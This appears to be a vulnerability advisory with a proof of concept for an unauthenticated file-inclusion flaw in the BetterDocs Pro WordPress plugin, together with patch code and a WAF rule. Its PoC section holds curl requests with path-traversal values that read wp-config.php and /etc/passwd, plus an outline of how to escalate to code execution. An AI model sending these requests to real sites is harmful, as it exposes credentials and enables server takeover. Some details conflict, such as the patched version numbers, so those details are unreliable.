CVE-2026-7515: BetterDocs Pro <= 3.8.0 - Unauthenticated Local File Inclusion

Overview

Field	Value
CVE ID	CVE-2026-7515
CVSS Score	9.8 (Critical)
CVSS Vector	AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected	BetterDocs Pro <= 3.8.0
Patched	3.8.1
Researcher	Nguyen Ngoc Duc (duc193)
Published	June 18, 2026
CWE	CWE-98: Improper Control of Filename for Include/Require Statement

Vulnerability Description

The BetterDocs Pro plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 3.8.0 via the doc_style parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary PHP files on the server.

Taint Analysis: Source → Sink

Source (User Input)

File: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php Line: 141

// VULNERABLE CODE (v3.8.0)
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

Problem: User-controlled input from $_POST['doc_style'] is directly used without any validation.

Sink (Dangerous Function)

File: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php Line: 195

betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [
    'doc' => $doc,
    'excerpt' => $excerpt,
    'dictionary_learn_more_text' => $learn_more_text,
    'item_heading_tag' => $item_heading_tag,
]);

Problem: The $doc_style variable (user-controlled) is directly interpolated into the file path passed to views->get(), which includes the file.

Data Flow

HTTP POST Request
        ↓
$_POST['doc_style'] = "../../../../../../wp-config"
        ↓
NO VALIDATION (vulnerable version 3.8.0)
        ↓
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...])
        ↓
File Inclusion via include() or require()
        ↓
Arbitrary PHP Code Execution / File Read

Diff: Vulnerable vs Patched

Vulnerable Version 3.8.0

// Line 141 in includes/Core/Encyclopedia.php
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

Patched Version 3.8.1

// Line 145-148 in includes/Core/Encyclopedia.php
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

Key Differences

Affected AJAX Endpoints

Both endpoints register with nopriv hooks, meaning they are accessible to unauthenticated users:

// Line 17-18
add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']);
add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']);

// Line 20-21
add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']);
add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']);

Endpoints:

POST /wp-admin/admin-ajax.php?action=load_more_docs_section
POST /wp-admin/admin-ajax.php?action=load_more_docs

Proof of Concept

Prerequisites

Valid encyclopedia_nonce (found in page source on pages with BetterDocs Encyclopedia block)

Manual Exploitation

# Step 1: Read wp-config.php
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs_section" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../wp-config" \
  -d "page=1"

# Step 2: Read /etc/passwd
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../etc/passwd" \
  -d "page=0"

Finding the Nonce

The encyclopedia_nonce is exposed in JavaScript on pages where BetterDocs Encyclopedia block is rendered:

// In betterdocs-encyclopedia.js
betterdocsEncyclopedia = {
    'site_url': '...',
    'ajax_url': '...',
    '_nonce': 'VALID_NONCE_HERE'  // <-- This is what you need
};

LFI to RCE Path

Read wp-config.php - Extract database credentials
Upload PHP shell - Via WordPress media upload or theme editor
Include malicious file - Via LFI vulnerability
Execute code - Gain remote code execution

Impact

Remediation

Primary Fix

Update to BetterDocs Pro version 3.8.1 or later

Manual Fix (if update not possible)

Apply the following patch to includes/Core/Encyclopedia.php:

// Replace line 141 with:
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

Apply the same fix to line 236.

WAF Rules (Temporary Mitigation)

Add rule to block path traversal in doc_style parameter:

# Block doc_style with path traversal patterns
SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \
    "id:1001,phase:1,deny,status:403,msg:'LFI Attempt Blocked'"

References

Files Analyzed

Vulnerable Version: betterdocs-pro_3.8.0.zip
Patched Version:   betterdocs-pro_3.9.0.zip

Key Files:
- includes/Core/Encyclopedia.php    (VULNERABLE)
- includes/Core/Scripts.php         (Contains nonce generation)
- includes/Utils/Views.php          (File inclusion logic)

Validation	None	Whitelist with `in_array()`
Allowed Values	Any string	Only `doc-grid`, `doc-list`, `doc-list-2`
Type Checking	No	Strict (`===`) comparison

Confidentiality	HIGH	Read arbitrary files (wp-config.php, /etc/passwd, etc.)
Integrity	HIGH	Modify or delete files
Availability	HIGH	Denial of service
Access Vector	Network	Exploitable remotely
Privileges	None	No authentication required
User Interaction	None	Not required

By-Poloss..-..CVE-2026-7515-PoC

Most Popular